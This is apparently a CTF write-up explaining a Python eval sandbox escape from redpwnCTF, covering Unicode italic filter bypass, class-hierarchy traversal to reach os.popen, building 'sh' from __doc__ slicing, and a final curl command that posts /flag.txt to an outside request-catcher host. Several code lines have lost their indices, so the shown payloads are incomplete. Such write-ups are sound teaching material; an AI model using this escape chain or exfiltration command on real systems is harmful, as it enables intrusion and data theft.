In redpwnctf this year, there was a really cool python exploit challenge! The goal was to take advantage of an
eval to read a flag from the server. There were a couple catches though.
- No ASCII characters!
- No built in functions!
- No strings!
- No more than 102 characters!
Woah, that’s not looking too easy. But it’s alright, since we can use a couple tricks up our sleeves to get a shell and ultimately read the flag. Let’s go over each requirement and how we are going to bypass it.
No ASCII characters?
That’s alright! The target python version, python 3.7, allows you to use italized characters to write your expressions, which aren’t ascii. We encoded our payloads using italics on this website. This way our payload can fly by the blacklist, easy peasy.
No built in functions?
This is the trickier parts of breaking out of pyjail. The
eval sets the
__builtins__ variable to
None, so we unfortunately can’t use builtin functions to read from the file system. This means no
execfile, no nothing. That’s ok, because we can use a little trick to access other modules without needing to import them, as well as without builtins.
The Python Class Hierarchy
The python class hierarchy is going to be our gateway to accessing other modules, like
os, so we can read from the filesystem or get a shell. So, how do we do this? Well, we’re going to need to learn how to traverse the python class hierarchy. First, let’s take a look at the following code.
What does this do? Well, the
__class__ attribute of returns the class of an instance. For example, if we had a class,
CoolCat, like this and an instance of that class,
class CoolCat: def say_hi(): print("hello!") charlie = CoolCat()
We’d be able to access
charlie through the
assert (charlie.__class__ == CoolCat), "This assertion will never fail!"
So, if we go back to our first example, we would get the class
tuple, which will help us in a bit. The next thing we are going to talk about is
__base__ allows to access the parent of a class. The parent of all classes who don’t already have a parent is
object. So, we can structure our hierarchy a little like this:
/-tuple object- \-CoolCat
Now, there are way more classes which inherit from object. But for now, let’s consider these two cases.
So we know we can go from a child class (like
CoolCat) to a parent class (like
object) by using
__base__, but can we go the other way around? Can we use a property of
object to access
tuple? And the answer is yes! With the power of the
Subclasses allow us to find classes which inherit from a given class. For example, if I wanted to find the classes which inherit from
CoolCat, I’d call
CoolCat.__subclassess__() # ->  # this outputs an empty array because nothing currently inherits from CoolCat!
Now, what would happen if we called
__subclasses__ on the
object class? Well, we’d get a list of classes which inherit from the
object class, including
tuple. Remember how I said there’s a lot more than just
tuple? Well, turns out, the
__subclasses__ function returns all of the subclasses, including classes from other modules! This means that this
__subclasses__ will be our connection to ouside the
eval jail. Putting together all we learned,
__subclasses__, we can get a list of all classes, including other modules, that inherit from
object. Next, we’ll cover how to go from accessing a class from another module to accessing the module itself.
().__class__.__base__.__subclasses__() # -> [<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, ..., <class 'rlcompleter.Completer'>] # includes classes from the python builtins (int, bytearray, str, etc etc) but also classes from other modules (re.Scanner, operator.methodcaller, etc etc etc) and even CoolCat (__main__.CoolCat)!
From Class to Module
So we’ve found our link to other modules. We can access classes from other modules through subclasses, but how do we access variables and functions from those modules? Well, let’s go over what
__globals__ does and how we can use it.
__globals__ is a variable defined for all functions. It is a dictionary that contains all the variables and functions in the global scope that have the same module scope as itself. This means if we can get a function from a class in another module, we’d be able to access the global scope of another module through that function’s
__globals__ property! So… what functions can we use that is present in all classes? Well, a function which is present in all classes no matter the class’s functions or properties is
Let’s say, in main, we have a global variable named
jamie. Going back to the
CoolCat class and
charlie, how can we access
jamie by only accessing properties of
charlie? Well, we just need a function that’s defined in
say_hi defined, so we could use that, or we can use the
__init__ function which is present in all classes.
Putting it all together
Now, let’s try combining the hierarchy traversal method with the function global variable lookup to access the
# the index for the class "os._wrap_close" in the list of subclasses is 127 ().__class__.__base__.__subclasses__().__init__.__globals__["popen"]("sh")
Just like that, we’ve accessed the
popen function! We can run arbitrary commands on the machine now with this function. Here, I’ve run the “sh” command, which opens a shell. But wait… We can’t use strings??!!
Our exploit above requires us to use two strings. “popen” and “sh” are both required for our exploit to work! “popen” grabs the
popen function from the
__globals__ dictionary, and “sh” is needed to open a shell. Surely there must be a way to not need to use strings or make these strings without quotes?
String Frankenstein: Making strings from segments of other strings
Strings in python is that they can be sliced and concatinated. You can turn one string into an entirely new string just with indexing and concatination. Watch how I transform one string into another one:
s = "I hate pyjails!" s + s + s + s + s # -> 'pepsi'
Maybe we can use strings from instances of classes to create a string made up of other strings? Well, what strings are present in classes? Well,
__doc__, of course!
__doc__ is a property which provides documentation on a type. In this case, we can leverage that to our advantage.
().__doc__ # -> 'Built-in immutable sequence.\n\nIf no argument is given, the constructor returns an empty tuple.\nIf iterable is specified the tuple is initialized from iterable's items.\n\nIf the argument is a tuple, the return value is the same object.'
Just like that, a string we can mess with! So, to build the string ‘sh’…
().__doc__ + ().__doc__ # -> 'sh'
String requirement alleviated! Let’s apply this to our exploit.
It works! But hold on… this is 170 characters??!?!?
No more than 102 characters?
Making strings occupies a lot of characters. This means we have two routes.
- Find a more efficent method of creating strings
- Don’t make strings
I’ll get “popen” without strings, and shorten our method of getting “sh”.
The “popen” predicament
Currently, we index
popen in order to get the
popen function. What if there was a better way to index it, without strings? Well, we can extract just the values from a dictionary and put them into an array. That way, we can index the
__globals__ dictonary with integer indexes, no longer needing strings! Let’s first get the values of the dictionary as an array, throwing away the keys.
().__class__.__base__.__subclasses__().__init__.__globals__.values() # -> dict_values([...])
Wait.. this doesn’t return an array! This returns a
dict_list class! That’s alright. We can use a new python feature to convert a array-like object, like a
dict_list, to an array that we can index.
[*().__class__.__base__.__subclasses__().__init__.__globals__.values()] # -> [..., <function fdopen at 0x10fc40ef0>, <function _fspath at 0x10fc43320>, <class 'os.PathLike'>]
Phew, now we can index this array by a number!
[*().__class__.__base__.__subclasses__().__init__.__globals__.values()][-5]() # -> <function popen at 0x10fc40e60>
We’ve reduced indexing
popen to just 82 characters.
The “sh” situation
We’ve got 20 characters left to make the “sh” string. We’ve got no more gimmicks like what he had with”popen”, so we’ve got to think of a new method. I figured we’d only be able to make one reference to
().__doc__ costs 12 characters. This seems impossible without string slicing a string which already has “sh” within it, but it’s actually not. String slicing has one more trick up it’s sleeve that will allow us to construct “sh” in just a few characters. Standard string slicing allows us to select a range of characters from a string and extract them. For example:
"why is pyjail so hard?"[7:13] # -> 'pyjail'
But, there’s one more thing string slicing can do. There’s a 3rd parameter for string slicing, known as “stride”, which specifies how many characters to move forward after the a character is read from the string. By default, the stride is one, but we can customize it to however much we want. So, what if we first set the starting index to the first index of ‘s’, then set the stride large enough so that the next character is the last index of ‘h’? This would mean after ‘s’ is read, the stride would jump a huge amount of characters, all the way until the last ‘h’, at which no more strides can be taken because the string is not long enough. So, our slice would be equivlient to:
doc = ().__doc__ doc[doc.index('s')::doc.rindex('h') - doc.index('s')] # -> 'sh'
().__doc__[19::199] # -> 'sh'
Let’s put it all together, for real this time. Don’t forget to italicize your payload!
Yea.. slight problem. Unfortunately, due to
popen’s functionality, we can’t see the output of the programs we run. But that’s alright! We can use
curl to send the flag as the body of a POST request to a request catcher.
This is what I used:
curl -X POST -d `cat /flag.txt` https://pepsipu.requestcatcher.com
And on the request catcher, the recieved request is:
There’s our flag!